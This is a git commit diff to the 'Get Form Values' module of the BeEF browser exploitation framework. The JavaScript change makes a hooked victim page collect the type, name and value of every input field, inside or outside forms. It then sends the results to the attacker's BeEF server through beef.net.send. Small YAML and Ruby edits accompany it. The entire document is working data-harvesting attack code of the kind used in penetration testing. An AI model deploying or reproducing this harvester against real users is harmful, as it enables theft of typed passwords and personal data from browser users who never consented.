Get all input fields

Update 'Get Form Values' module to retrieve all input fields
on the hooked page - not just input fields inside of form elements.

This makes more sense.
This commit is contained in:
bcoles
2013-12-30 07:19:37 +10:30
parent 02e6d4db11
commit 1862870b11
3 changed files with 17 additions and 10 deletions

View File

@@ -6,22 +6,29 @@
beef.execute(function() {
var form_data = new Array();
var input_values = new Array();
// loop through all forms
for (var f=0; f < document.forms.length; f++) {
var forms = document.forms;
for (var f=0; f < forms.length; f++) {
// store type,name,value for all input fields
for (var i=0; i < document.forms[f].elements.length; i++) {
form_data.push(new Array(document.forms[f].elements[i].type, document.forms[f].elements[i].name, document.forms[f].elements[i].value));
for (var i=0; i < forms[f].elements.length; i++) {
input_values.push(new Array(forms[f].elements[i].type, forms[f].elements[i].name, forms[f].elements[i].value));
}
}
// return form data
if (form_data.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(form_data));
// store type,name,value for all input fields outside of form elements
var inputs = document.getElementsByTagName('input');
for (var i=0; i < inputs.length; i++) {
input_values.push(new Array(inputs[i].type, inputs[i].name, inputs[i].value))
}
// return input field info
if (input_values.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Could not find any forms on '+window.location);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);
}
});

View File

@@ -9,7 +9,7 @@ beef:
enable: true
category: ["Browser", "Hooked Domain"]
name: "Get Form Values"
description: "This module retrieves the name, type, and value of all input fields for all forms on the page."
description: "This module retrieves the name, type, and value of all input fields on the page."
authors: ["bcoles"]
target:
working: ["ALL"]

View File

@@ -7,7 +7,7 @@ class Get_form_values < BeEF::Core::Command
def post_execute
content = {}
content['form_data'] = @datastore['form_data']
content['result'] = @datastore['result']
save content
end